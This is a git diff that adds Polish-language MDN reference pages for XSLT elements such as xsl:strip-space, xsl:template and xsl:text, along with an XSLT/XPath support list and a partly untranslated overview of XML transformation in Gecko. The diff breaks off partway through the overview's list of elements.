diff --git a/files/pl/web/xslt/strip-space/index.html b/files/pl/web/xslt/strip-space/index.html
new file mode 100644
index 0000000000..55daf99a8d
--- /dev/null
+++ b/files/pl/web/xslt/strip-space/index.html
@@ -0,0 +1,31 @@
+---
+title: strip-space
+slug: Web/XSLT/strip-space
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XSLT/Element/strip-space
+---
+<p>
+{{ XsltRef() }}
+</p><p>Element <code>&lt;xsl:strip-space&gt;</code> definiuje elementy w dokumencie źródłowym, dla których białe znaki powinny zostać usunięte.
+</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre>&lt;xsl:strip-space elements=LISTA-NAZW /&gt;</pre> <h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty"> Wymagane atrybuty </h3>
+<dl><dt><code>elements</code>
+</dt><dd>Określa listę oddzielonych za pomocą spacji elementów w źródle, którego węzły tekstowe zawierające tylko białe znaki powinny zostać usunięte.
+</dd></dl>
+<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3>
+<p>Brak.
+</p>
+<h3 id="Typ" name="Typ"> Typ </h3>
+<p>Element najwyższego poziomu, musi być dzieckiem <code>&lt;xsl:stylesheet&gt;</code> lub <code>&lt;xsl:transform&gt;</code>.
+</p>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p>XSLT, sekcja 3.4
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Obsługuje.
+</p>{{ languages( { "en": "en/XSLT/strip-space", "fr": "fr/XSLT/strip-space" } ) }}
diff --git a/files/pl/web/xslt/stylesheet/index.html b/files/pl/web/xslt/stylesheet/index.html
new file mode 100644
index 0000000000..36275a7efd
--- /dev/null
+++ b/files/pl/web/xslt/stylesheet/index.html
@@ -0,0 +1,34 @@
+---
+title: stylesheet
+slug: Web/XSLT/stylesheet
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XSLT/Element/stylesheet
+---
+<p>{{ XsltRef() }}</p>
+<p>Element <code>&lt;xsl:stylesheet&gt;</code> (lub odpowiadający mu element <code>&lt;xsl:transform&gt;</code>) jest najbardziej zewnętrznym elementem arkusza.</p>
+<h3 id="Deklaracja_przestrzeni_nazw" name="Deklaracja_przestrzeni_nazw">Deklaracja przestrzeni nazw</h3>
+<p>Pseudoatrybut wymagany do identyfikacji dokumentu jako arkusza XSLT. Zazwyczaj jest to <code>xmlns:xsl="<span class="nowiki">http://www.w3.org/1999/XSL/Transform</span>"</code>.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre>&lt;xsl:stylesheet
+ version=LICZBA
+ xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
+ id=NAZWA
+ extension-element-prefixes=LISTA-NAZW
+ exclude-result-prefixes=LISTA-NAZW&gt;
+ CALY ARKUSZ
+&lt;/xsl:stylesheet&gt;</pre>
+<h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty">Wymagane atrybuty</h3>
+<dl><dt><code>version</code> </dt><dd>Określa wersję XSLT wymaganą przez ten arkusz. </dd></dl>
+<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty">Opcjonalne atrybuty</h3>
+<dl><dt><code>id </code>(Obsługiwany od wersji 7.0 tylko wtedy, gdy jednoznacznie wywołany poprzez liniowe DTD.) </dt><dd>Określa <code>id</code> dla tego arkusza. Jest on używany najczęściej wtedy, gdy arkusz jest osadzony w innym dokumencie XML. </dd></dl> <dl><dt>extension-element-prefixes (Nieobsługiwany.) </dt><dd>Określa listę oddzielonych spacjami prefiksów przestrzeni nazw dla elementów rozszerzenia wewnątrz tego dokumentu. </dd></dl> <dl><dt>exclude-result-prefixes </dt><dd>Określa dowolną przestrzeń nazw użytą w tym dokumencie, która nie powinna zostać wysłana do dokumentu wyjściowego. Lista jest oddzielona za pomocą białych znaków. </dd></dl>
+<h3 id="Typ" name="Typ">Typ</h3>
+<p>Wymagany, najbardziej zewnętrzny element arkusza.</p>
+<h3 id="Definicja" name="Definicja">Definicja</h3>
+<p>XSLT, sekcja 2.2.</p>
+<h3 id="Gecko" name="Gecko">Gecko</h3>
+<p>Częściowo obsługuje. Zobacz powyższe komentarze.</p>
+<p>{{ languages( { "en": "en/XSLT/stylesheet", "fr": "fr/XSLT/stylesheet" } ) }}</p>
diff --git a/files/pl/web/xslt/template/index.html b/files/pl/web/xslt/template/index.html
new file mode 100644
index 0000000000..b428b9eaf0
--- /dev/null
+++ b/files/pl/web/xslt/template/index.html
@@ -0,0 +1,47 @@
+---
+title: template
+slug: Web/XSLT/template
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XSLT/Element/template
+---
+<p>
+{{ XsltRef() }}
+</p><p>Element <code>&lt;xsl:template&gt;</code> definiuje szablon produkujący wyjście. Ten element musi posiadać ustawiony atrybut match lub atrybut name.
+</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre>&lt;xsl:template
+ match=WZORZEC
+ name=NAZWA
+ mode=NAZWA
+ priority=LICZBA&gt;
+ &lt;xsl:param&gt; [opcjonalnie]
+ SZABLON
+&lt;/xsl:template&gt;</pre> <h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty"> Wymagane atrybuty </h3>
+<p>Brak.
+</p>
+<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3>
+<dl><dt><code>match</code>
+</dt><dd>Określa wzór, który warunkuje elementy, dla których szablon ten powinien zostać użyty. Jest to wymagany atrybut, gdy nie został zdefiniowany atrybut <code>name</code>.
+</dd></dl>
+<dl><dt><code>name</code>
+</dt><dd>Określa dla szablonu nazwę, za pomocą której może on być wywołany przez element <code>&lt;xsl:call-template&gt;</code>.
+</dd></dl>
+<dl><dt><code>mode</code>
+</dt><dd>Określa dla szablonu konkretny tryb, który może być dobrany przez atrybut elementu <code>&lt;xsl:apply-templates&gt;</code>. Jest to użyteczne przy przetwarzaniu tej samej informacji na różne sposoby.
+</dd></dl>
+<dl><dt><code>priority</code>
+</dt><dd>Określa numeryczny priorytet dla tego szablonu. Może to być dowolna liczba różna od <code>Infinity</code>. Procesor używa tej liczby, gdy więcej niż jeden szablon dobiera ten sam węzeł.
+</dd></dl>
+<h3 id="Typ" name="Typ"> Typ </h3>
+<p>Element najwyższego poziomu, musi być dzieckiem <code>&lt;xsl:stylesheet&gt;</code> lub <code>&lt;xsl:transform&gt;</code>.
+</p>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p>XSLT, sekcja 5.3.
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Obsługuje.
+</p>{{ languages( { "en": "en/XSLT/template", "fr": "fr/XSLT/template" } ) }}
diff --git a/files/pl/web/xslt/text/index.html b/files/pl/web/xslt/text/index.html
new file mode 100644
index 0000000000..af8c6473af
--- /dev/null
+++ b/files/pl/web/xslt/text/index.html
@@ -0,0 +1,34 @@
+---
+title: text
+slug: Web/XSLT/text
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XSLT/Element/text
+---
+<p>
+{{ XsltRef() }}
+</p><p>Element <code>&lt;xsl:text&gt;</code> zapisuje tekst literałowy do drzewa wyjściowego. Może on zawierać elementy <code>#PCDATA</code>, tekst literałowy i referencje encji.
+</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre>&lt;xsl:text disable-output-escaping="yes" | "no"&gt;
+ TEKST
+&lt;/xsl:text&gt; </pre>
+<h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty"> Wymagane atrybuty </h3>
+<p>Brak.
+</p>
+<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3>
+<dl><dt><code>disable-output-escaping</code> (Netscape nie dzieli wyników przekształcenia - poniższego "wyjścia" - dlatego atrybut ten jest w zasadzie nieistotny w znaczeniu. Aby otrzymać na wyjściu encje html użyj wartości numerycznych, np. <code>&amp;#160</code> dla <code>&amp;nbsp</code>)
+</dt><dd>Określa czy znaki specjalne są pomijane przy zapisywaniu do wyjścia. Dostępne wartości to "<code>yes</code>" lub "<code>no</code>". Przykładowo, jeżeli ustawiona jest wartość "<code>yes</code>", &lt;tt&gt;&gt;&lt;/tt&gt; jest wyświetlane jako <code>&gt;</code>, a nie jako "<code>&amp;gt</code>".
+</dd></dl>
+<h3 id="Typ" name="Typ"> Typ </h3>
+<p>Instrukcja, pojawia się wewnątrz szablonu.
+</p>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p>XSLT, sekcja 7.2
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Obsługuje jak wspomniano wyżej.
+</p>{{ languages( { "en": "en/XSLT/text", "fr": "fr/XSLT/text" } ) }}
diff --git a/files/pl/web/xslt/transform/index.html b/files/pl/web/xslt/transform/index.html
new file mode 100644
index 0000000000..8fc9637505
--- /dev/null
+++ b/files/pl/web/xslt/transform/index.html
@@ -0,0 +1,17 @@
+---
+title: transform
+slug: Web/XSLT/transform
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XSLT/Element/transform
+---
+<p>
+{{ XsltRef() }}
+</p><p>Element <code>&lt;xsl:transform&gt;</code> jest dokładnie równoważny elementowi <code><a href="pl/XSLT/stylesheet">&lt;xsl:stylesheet&gt;</a></code>.
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Obsługuje.
+</p>{{ languages( { "en": "en/XSLT/transform", "fr": "fr/XSLT/transform" } ) }}
diff --git a/files/pl/web/xslt/transformacje_xml_z_xslt/dokumentacja_xslt_xpath/index.html b/files/pl/web/xslt/transformacje_xml_z_xslt/dokumentacja_xslt_xpath/index.html
new file mode 100644
index 0000000000..59da884b56
--- /dev/null
+++ b/files/pl/web/xslt/transformacje_xml_z_xslt/dokumentacja_xslt_xpath/index.html
@@ -0,0 +1,243 @@
+---
+title: Dokumentacja XSLT/XPath
+slug: Web/XSLT/Transformacje_XML_z_XSLT/Dokumentacja_XSLT_XPath
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XPath
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XSLT/Transforming_XML_with_XSLT/The_Netscape_XSLT_XPath_Reference
+---
+<p>
+{{ XsltRef() }}
+Alfabetyczna lista elementów objaśniająca, wyrażenia i funkcje stanowiące rekomendację W3C XSLT 1.0 i tak samo jak z odpowiednie sekcje rekomendacji XPath. Rozwój procesora XSLT jest w toku i ten dokument będzie aktualizowany pod względem funkcjonalności w miarę jak bedzie się on rozszerzał. </p>
+<h3 id="Elementy" name="Elementy"> <a href="pl/XSLT/Elementy">Elementy</a> </h3>
+<h4 id="xsl:apply-imports" name="xsl:apply-imports"> <a href="pl/XSLT/apply-imports">xsl:apply-imports</a> </h4>
+<p><i>(obsługiwany)</i>
+</p>
+<h4 id="xsl:apply-templates" name="xsl:apply-templates"> <a href="pl/XSLT/apply-templates">xsl:apply-templates</a> </h4>
+<p><i>(obsługiwany)</i>
+</p>
+<h4 id="xsl:attribute" name="xsl:attribute"> <a href="pl/XSLT/attribute">xsl:attribute</a> </h4>
+<p><i>(obsługiwany)</i>
+</p>
+<h4 id="xsl:attribute-set" name="xsl:attribute-set"> <a href="pl/XSLT/attribute-set">xsl:attribute-set</a> </h4>
+<p><i>(obsługiwany)</i>
+</p>
+<h4 id="xsl:call-template" name="xsl:call-template"> <a href="pl/XSLT/call-template">xsl:call-template</a> </h4>
+<p><i>(obsługiwany)</i>
+</p>
+<h4 id="xsl:choose" name="xsl:choose"> <a href="pl/XSLT/choose">xsl:choose</a> </h4>
+<p><i>(obsługiwany)</i>
+</p>
+<h4 id="xsl:comment" name="xsl:comment"> <a href="pl/XSLT/comment">xsl:comment</a> </h4>
+<p><i>(obsługiwany)</i>
+</p>
+<h4 id="xsl:copy" name="xsl:copy"> <a href="pl/XSLT/copy">xsl:copy</a> </h4>
+<p><i>(obsługiwany)</i>
+</p>
+<h4 id="xsl:copy-of" name="xsl:copy-of"> <a href="pl/XSLT/copy-of">xsl:copy-of</a> </h4>
+<p><i>(obsługiwany)</i>
+</p>
+<h4 id="xsl:decimal-format" name="xsl:decimal-format"> <a href="pl/XSLT/decimal-format">xsl:decimal-format</a> </h4>
+<p><i>(obsługiwany)</i>
+</p>
+<h4 id="xsl:element" name="xsl:element"> <a href="pl/XSLT/element">xsl:element</a> </h4>
+<p><i>(obsługiwany)</i>
+</p>
+<h4 id="xsl:fallback" name="xsl:fallback"> <a href="pl/XSLT/fallback">xsl:fallback</a> </h4>
+<p><i>(nie obsługiwany)</i>
+</p>
+<h4 id="xsl:for-each" name="xsl:for-each"> <a href="pl/XSLT/for-each">xsl:for-each</a> </h4>
+<p><i>(obsługiwany)</i>
+</p>
+<h4 id="xsl:if" name="xsl:if"> <a href="pl/XSLT/if">xsl:if</a> </h4>
+<p><i>(obsługiwany)</i>
+</p>
+<h4 id="xsl:import" name="xsl:import"> <a href="pl/XSLT/import">xsl:import</a> </h4>
+<p><i>(przeważnie obsługiwany)</i>
+</p>
+<h4 id="xsl:include" name="xsl:include"> <a href="pl/XSLT/include">xsl:include</a> </h4>
+<p><i>(obsługiwany)</i>
+</p>
+<h4 id="xsl:key" name="xsl:key"> <a href="pl/XSLT/key">xsl:key</a> </h4>
+<p><i>(obsługiwany)</i>
+</p>
+<h4 id="xsl:message" name="xsl:message"> <a href="pl/XSLT/message">xsl:message</a> </h4>
+<p><i>(obsługiwany)</i>
+</p>
+<h4 id="xsl:namespace-alias" name="xsl:namespace-alias"> <a href="pl/XSLT/namespace-alias">xsl:namespace-alias</a> </h4>
+<p><i>(nie obsługiwany)</i>
+</p>
+<h4 id="xsl:number" name="xsl:number"> <a href="pl/XSLT/number">xsl:number</a> </h4>
+<p><i>(częściowo obsługiwany)</i>
+</p>
+<h4 id="xsl:otherwise" name="xsl:otherwise"> <a href="pl/XSLT/otherwise">xsl:otherwise</a> </h4>
+<p><i>(obsługiwany)</i>
+</p>
+<h4 id="xsl:output" name="xsl:output"> <a href="pl/XSLT/output">xsl:output</a> </h4>
+<p><i>(częściowo obsługiwany)</i>
+</p>
+<h4 id="xsl:param" name="xsl:param"> <a href="pl/XSLT/param">xsl:param</a> </h4>
+<p><i>(obsługiwany)</i>
+</p>
+<h4 id="xsl:preserve-space" name="xsl:preserve-space"> <a href="pl/XSLT/preserve-space">xsl:preserve-space</a> </h4>
+<p><i>(obsługiwany)</i>
+</p>
+<h4 id="xsl:processing-instruction" name="xsl:processing-instruction"> <a href="pl/XSLT/processing-instruction">xsl:processing-instruction</a> </h4>
+<h4 id="xsl:sort" name="xsl:sort"> <a href="pl/XSLT/sort">xsl:sort</a> </h4>
+<p><i>(obsługiwany)</i>
+</p>
+<h4 id="xsl:strip-space" name="xsl:strip-space"> <a href="pl/XSLT/strip-space">xsl:strip-space</a> </h4>
+<p><i>(obsługiwany)</i>
+</p>
+<h4 id="xsl:stylesheet" name="xsl:stylesheet"> <a href="pl/XSLT/stylesheet">xsl:stylesheet</a> </h4>
+<p><i>(częściowo obsługiwany)</i>
+</p>
+<h4 id="xsl:template" name="xsl:template"> <a href="pl/XSLT/template">xsl:template</a> </h4>
+<p><i>(obsługiwany)</i>
+</p>
+<h4 id="xsl:text" name="xsl:text"> <a href="pl/XSLT/text">xsl:text</a> </h4>
+<p><i>(częściowo obsługiwany)</i>
+</p>
+<h4 id="xsl:transform" name="xsl:transform"> <a href="pl/XSLT/transform">xsl:transform</a> </h4>
+<p><i>(obsługiwany)</i>
+</p>
+<h4 id="xsl:value-of" name="xsl:value-of"> <a href="pl/XSLT/value-of">xsl:value-of</a> </h4>
+<p><i>(częściowo obsługiwany)</i>
+</p>
+<h4 id="xsl:variable" name="xsl:variable"> <a href="pl/XSLT/variable">xsl:variable</a> </h4>
+<p><i>(obsługiwany)</i>
+</p>
+<h4 id="xsl:when" name="xsl:when"> <a href="pl/XSLT/when">xsl:when</a> </h4>
+<p><i>(obsługiwany)</i>
+</p>
+<h4 id="xsl:with-param" name="xsl:with-param"> <a href="pl/XSLT/with-param">xsl:with-param</a> </h4>
+<p><i>(obsługiwany)</i>
+</p>
+<h3 id="Osie_wierzcho.C5.82k.C3.B3w" name="Osie_wierzcho.C5.82k.C3.B3w"> <a href="pl/XPath/Osie">Osie wierzchołków</a> </h3>
+<h4 id="ancestor" name="ancestor"> <a href="pl/XPath/Osie/ancestor">ancestor</a> </h4>
+<h4 id="ancestor-or-self" name="ancestor-or-self"> <a href="pl/XPath/Osie/ancestor-or-self">ancestor-or-self</a> </h4>
+<h4 id="attribute" name="attribute"> <a href="pl/XPath/Osie/attribute">attribute</a> </h4>
+<h4 id="child" name="child"> <a href="pl/XPath/Osie/child">child</a> </h4>
+<h4 id="descendant" name="descendant"> <a href="pl/XPath/Osie/descendant">descendant</a> </h4>
+<h4 id="descendant-or-self" name="descendant-or-self"> <a href="pl/XPath/Osie/descendant-or-self">descendant-or-self</a> </h4>
+<h4 id="following" name="following"> <a href="pl/XPath/Osie/following">following</a> </h4>
+<h4 id="following-sibling" name="following-sibling"> <a href="pl/XPath/Osie/following-sibling">following-sibling</a> </h4>
+<h4 id="namespace" name="namespace"> <a href="pl/XPath/Osie/namespace">namespace</a> </h4>
+<dl><dd> <i>(nie obsługiwane)</i>
+</dd></dl>
+<h4 id="parent" name="parent"> <a href="pl/XPath/Osie/parent">parent</a> </h4>
+<h4 id="preceding" name="preceding"> <a href="pl/XPath/Osie/preceding">preceding</a> </h4>
+<h4 id="preceding-sibling" name="preceding-sibling"> <a href="pl/XPath/Osie/preceding-sibling">preceding-sibling</a> </h4>
+<h4 id="self" name="self"> <a href="pl/XPath/Osie/self">self</a> </h4>
+<h3 id="Funkcje" name="Funkcje"> <a href="pl/XPath/Funkcje">Funkcje</a> </h3>
+<h4 id="boolean.28.29" name="boolean.28.29"> <a href="pl/XPath/Funkcje/boolean">boolean()</a> </h4>
+<p><i>(obsługiwana)</i>
+</p>
+<h4 id="ceiling.28.29" name="ceiling.28.29"> <a href="pl/XPath/Funkcje/ceiling">ceiling()</a> </h4>
+<p><i>(obsługiwana)</i>
+</p>
+<h4 id="concat.28.29" name="concat.28.29"> <a href="pl/XPath/Funkcje/concat">concat()</a> </h4>
+<p><i>(obsługiwana)</i>
+</p>
+<h4 id="contains.28.29" name="contains.28.29"> <a href="pl/XPath/Funkcje/contains">contains()</a> </h4>
+<p><i>(obsługiwana)</i>
+</p>
+<h4 id="count.28.29" name="count.28.29"> <a href="pl/XPath/Funkcje/count">count()</a> </h4>
+<p><i>(obsługiwana)</i>
+</p>
+<h4 id="current.28.29" name="current.28.29"> <a href="pl/XPath/Funkcje/current">current()</a> </h4>
+<p><i>(obsługiwana)</i>
+</p>
+<h4 id="document.28.29" name="document.28.29"> <a href="pl/XPath/Funkcje/document">document()</a> </h4>
+<p><i>(obsługiwana)</i>
+</p>
+<h4 id="element-available.28.29" name="element-available.28.29"> <a href="pl/XPath/Funkcje/element-available">element-available()</a> </h4>
+<p><i>(obsługiwana)</i>
+</p>
+<h4 id="false.28.29" name="false.28.29"> <a href="pl/XPath/Funkcje/false">false()</a> </h4>
+<p><i>(obsługiwana)</i>
+</p>
+<h4 id="floor.28.29" name="floor.28.29"> <a href="pl/XPath/Funkcje/floor">floor()</a> </h4>
+<p><i>(obsługiwana)</i>
+</p>
+<h4 id="format-number.28.29" name="format-number.28.29"> <a href="pl/XPath/Funkcje/format-number">format-number()</a> </h4>
+<p><i>(obsługiwana)</i>
+</p>
+<h4 id="function-available.28.29" name="function-available.28.29"> <a href="pl/XPath/Funkcje/function-available">function-available()</a> </h4>
+<p><i>(obsługiwana)</i>
+</p>
+<h4 id="generate-id.28.29" name="generate-id.28.29"> <a href="pl/XPath/Funkcje/generate-id">generate-id()</a> </h4>
+<p><i>(obsługiwana)</i>
+</p>
+<h4 id="id.28.29" name="id.28.29"> <a href="pl/XPath/Funkcje/id">id()</a> </h4>
+<p><i>(częściowo obsługiwana)</i>
+</p>
+<h4 id="key.28.29" name="key.28.29"> <a href="pl/XPath/Funkcje/key">key()</a> </h4>
+<p><i>(obsługiwana)</i>
+</p>
+<h4 id="lang.28.29" name="lang.28.29"> <a href="pl/XPath/Funkcje/lang">lang()</a> </h4>
+<p><i>(obsługiwana)</i>
+</p>
+<h4 id="last.28.29" name="last.28.29"> <a href="pl/XPath/Funkcje/last">last()</a> </h4>
+<p><i>(obsługiwana)</i>
+</p>
+<h4 id="local-name.28.29" name="local-name.28.29"> <a href="pl/XPath/Funkcje/local-name">local-name()</a> </h4>
+<p><i>(obsługiwana)</i>
+</p>
+<h4 id="name.28.29" name="name.28.29"> <a href="pl/XPath/Funkcje/name">name()</a> </h4>
+<p><i>(obsługiwana)</i>
+</p>
+<h4 id="namespace-uri.28.29" name="namespace-uri.28.29"> <a href="pl/XPath/Funkcje/namespace-uri">namespace-uri()</a> </h4>
+<p><i>(obsługiwana)</i>
+</p>
+<h4 id="normalize-space.28.29" name="normalize-space.28.29"> <a href="pl/XPath/Funkcje/normalize-space">normalize-space()</a> </h4>
+<p><i>(obsługiwana)</i>
+</p>
+<h4 id="not.28.29" name="not.28.29"> <a href="pl/XPath/Funkcje/not">not()</a> </h4>
+<p><i>(obsługiwana)</i>
+</p>
+<h4 id="number.28.29" name="number.28.29"> <a href="pl/XPath/Funkcje/number">number()</a> </h4>
+<p><i>(obsługiwana)</i>
+</p>
+<h4 id="position.28.29" name="position.28.29"> <a href="pl/XPath/Funkcje/position">position()</a> </h4>
+<p><i>(obsługiwana)</i>
+</p>
+<h4 id="round.28.29" name="round.28.29"> <a href="pl/XPath/Funkcje/round">round()</a> </h4>
+<p><i>(obsługiwana)</i>
+</p>
+<h4 id="starts-with.28.29" name="starts-with.28.29"> <a href="pl/XPath/Funkcje/starts-with">starts-with()</a> </h4>
+<p><i>(obsługiwana)</i>
+</p>
+<h4 id="string.28.29" name="string.28.29"> <a href="pl/XPath/Funkcje/string">string()</a> </h4>
+<p><i>(obsługiwana)</i>
+</p>
+<h4 id="string-length.28.29" name="string-length.28.29"> <a href="pl/XPath/Funkcje/string-length">string-length()</a> </h4>
+<p><i>(obsługiwana)</i>
+</p>
+<h4 id="substring.28.29" name="substring.28.29"> <a href="pl/XPath/Funkcje/substring">substring()</a> </h4>
+<p><i>(obsługiwana)</i>
+</p>
+<h4 id="substring-after.28.29" name="substring-after.28.29"> <a href="pl/XPath/Funkcje/substring-after">substring-after()</a> </h4>
+<p><i>(obsługiwana)</i>
+</p>
+<h4 id="substring-before.28.29" name="substring-before.28.29"> <a href="pl/XPath/Funkcje/substring-before">substring-before()</a> </h4>
+<p><i>(obsługiwana)</i>
+</p>
+<h4 id="sum.28.29" name="sum.28.29"> <a href="pl/XPath/Funkcje/sum">sum()</a> </h4>
+<p><i>(obsługiwana)</i>
+</p>
+<h4 id="system-property.28.29" name="system-property.28.29"> <a href="pl/XPath/Funkcje/system-property">system-property()</a> </h4>
+<p><i>(obsługiwana)</i>
+</p>
+<h4 id="translate.28.29" name="translate.28.29"> <a href="pl/XPath/Funkcje/translate">translate()</a> </h4>
+<p><i>(obsługiwana)</i>
+</p>
+<h4 id="true.28.29" name="true.28.29"> <a href="pl/XPath/Funkcje/true">true()</a> </h4>
+<p><i>(obsługiwana)</i>
+</p>
+<h4 id="unparsed-entity-url.28.29" name="unparsed-entity-url.28.29"> <a href="pl/XPath/Funkcje/unparsed-entity-url">unparsed-entity-url()</a> </h4>
+<p><i>(nie obsługiwana)</i>
+</p>{{ languages( { "en": "en/Transforming_XML_with_XSLT/The_Netscape_XSLT//XPath_Reference", "fr": "fr/Transformations_XML_avec_XSLT/La_r\u00e9f\u00e9rence_XSLT//XPath_de_Netscape", "ja": "ja/Transforming_XML_with_XSLT/The_Netscape_XSLT//XPath_Reference" } ) }}
diff --git a/files/pl/web/xslt/transformacje_xml_z_xslt/index.html b/files/pl/web/xslt/transformacje_xml_z_xslt/index.html
new file mode 100644
index 0000000000..b02e157f61
--- /dev/null
+++ b/files/pl/web/xslt/transformacje_xml_z_xslt/index.html
@@ -0,0 +1,147 @@
+---
+title: Transformacje XML z XSLT
+slug: Web/XSLT/Transformacje_XML_z_XSLT
+tags:
+ - Strony_wymagające_dopracowania
+ - Transformacje_XML_z_XSLT
+ - Wszystkie_kategorie
+ - XML
+ - XSLT
+translation_of: Web/XSLT/Transforming_XML_with_XSLT
+---
+<h3 id="Og.C3.B3lny_przegl.C4.85d" name="Og.C3.B3lny_przegl.C4.85d"><a href="pl/Transformacje_XML_z_XSLT/Og%c3%b3lny_przegl%c4%85d">Ogólny przegląd</a></h3>
+
+<p>The separation of content and presentation is a key design feature of <a href="pl/XML">XML</a>. The structure of an XML document is designed to reflect and clarify important relationships among the individual aspects of the content itself, unhindered by a need to provide any indication about how this data should eventually be presented. This intelligent structuring is particularly important as more and more data transfers are automated and take place between highly heterogeneous machines linked by a network.</p>
+
+<p>Yet eventually much of the content stored in XML documents will need to be presented to human readers. Because a browser provides a familiar and highly flexible interface, it is an ideal mechanism for delivering such presentation versions of XML content. Built from the ground up utilizing a wide variety of XML technologies, Mozilla incorporates within itself all of the mechanisms needed to process both original XML documents and the specialized stylesheets used to style and lay them out for HTML display, reducing server load with client-side processing.</p>
+
+<p>At present, Gecko (the layout engine behind Mozilla and Firefox) supports two forms of XML stylesheets. For basic control of appearance - fonts, colors, position, and so forth, Gecko uses <a href="pl/CSS">CSS</a>, familiar from <a href="pl/DHTML">DHTML</a>. All of CSS1 and most of CSS2 are supported. Support for the emerging CSS3 standard is under development. For further information about CSS, see <a class="external" href="http://www.meyerweb.com/eric/css/">Eric Meyer's CSS pages</a>. For an overview of CSS1 and Netscape, see this <a class="external" href="http://home.netscape.com/browsers/future/standards.html#1">Browser Central page</a>.</p>
+
+<p>Our focus here is on the second type of stylesheet that Gecko supports: the XSLT stylesheet. XSLT stands for eXtensible Stylesheet Language/Transform and the name is apt. XSLT allows a stylesheet author to transform a primary XML document in two significant ways: manipulating and sorting the content, including a wholesale reordering of it if so desired, and transforming the content into a different format (and in the case of Netscape, the focus is on converting it on the fly into HTML which can then be displayed by the browser).</p>
+
+<h3 id="Dokumentacja_XSLT.2FXPath" name="Dokumentacja_XSLT.2FXPath">Dokumentacja XSLT/XPath</h3>
+
+<h4 id="Elementy" name="Elementy"><a href="pl/XSLT/Elementy">Elementy</a></h4>
+
+<ul>
+ <li><a href="pl/XSLT/apply-imports">xsl:apply-imports</a><em>(obsługiwany)</em></li>
+ <li><a href="pl/XSLT/apply-templates">xsl:apply-templates</a><em>(obsługiwany)</em></li>
+ <li><a href="pl/XSLT/attribute">xsl:attribute</a><em>(obsługiwany)</em></li>
+ <li><a href="pl/XSLT/attribute-set">xsl:attribute-set</a><em>(obsługiwany)</em></li>
+ <li><a href="pl/XSLT/call-template">xsl:call-template</a><em>(obsługiwany)</em></li>
+ <li><a href="pl/XSLT/choose">xsl:choose</a><em>(obsługiwany)</em></li>
+ <li><a href="pl/XSLT/comment">xsl:comment</a><em>(obsługiwany)</em></li>
+ <li><a href="pl/XSLT/copy">xsl:copy</a><em>(obsługiwany)</em></li>
+ <li><a href="pl/XSLT/copy-of">xsl:copy-of</a><em>(obsługiwany)</em></li>
+ <li><a href="pl/XSLT/decimal-format">xsl:decimal-format</a><em>(obsługiwany)</em></li>
+ <li><a href="pl/XSLT/element">xsl:element</a><em>(obsługiwany)</em></li>
+ <li><a href="pl/XSLT/fallback">xsl:fallback</a><em>(nie obsługiwany)</em></li>
+ <li><a href="pl/XSLT/for-each">xsl:for-each</a><em>(obsługiwany)</em></li>
+ <li><a href="pl/XSLT/if">xsl:if</a><em>(obsługiwany)</em></li>
+ <li><a href="pl/XSLT/import">xsl:import</a><em>(przeważnie obsługiwany)</em></li>
+ <li><a href="pl/XSLT/include">xsl:include</a><em>(obsługiwany)</em></li>
+ <li><a href="pl/XSLT/key">xsl:key</a><em>(obsługiwany)</em></li>
+ <li><a href="pl/XSLT/message">xsl:message</a><em>(obsługiwany)</em></li>
+ <li><a href="pl/XSLT/namespace-alias">xsl:namespace-alias</a><em>(nie obsługiwany)</em></li>
+ <li><a href="pl/XSLT/number">xsl:number</a><em>(częściowo obsługiwany)</em></li>
+ <li><a href="pl/XSLT/otherwise">xsl:otherwise</a><em>(obsługiwany)</em></li>
+ <li><a href="pl/XSLT/output">xsl:output</a><em>(częściowo obsługiwany)</em></li>
+ <li><a href="pl/XSLT/param">xsl:param</a><em>(obsługiwany)</em></li>
+ <li><a href="pl/XSLT/preserve-space">xsl:preserve-space</a><em>(obsługiwany)</em></li>
+ <li><a href="pl/XSLT/processing-instruction">xsl:processing-instruction</a></li>
+ <li><a href="pl/XSLT/sort">xsl:sort</a><em>(obsługiwany)</em></li>
+ <li><a href="pl/XSLT/strip-space">xsl:strip-space</a><em>(obsługiwany)</em></li>
+ <li><a href="pl/XSLT/stylesheet">xsl:stylesheet</a><em>(częściowo obsługiwany)</em></li>
+ <li><a href="pl/XSLT/template">xsl:template</a><em>(obsługiwany)</em></li>
+ <li><a href="pl/XSLT/text">xsl:text</a><em>(częściowo obsługiwany)</em></li>
+ <li><a href="pl/XSLT/transform">xsl:transform</a><em>(obsługiwany)</em></li>
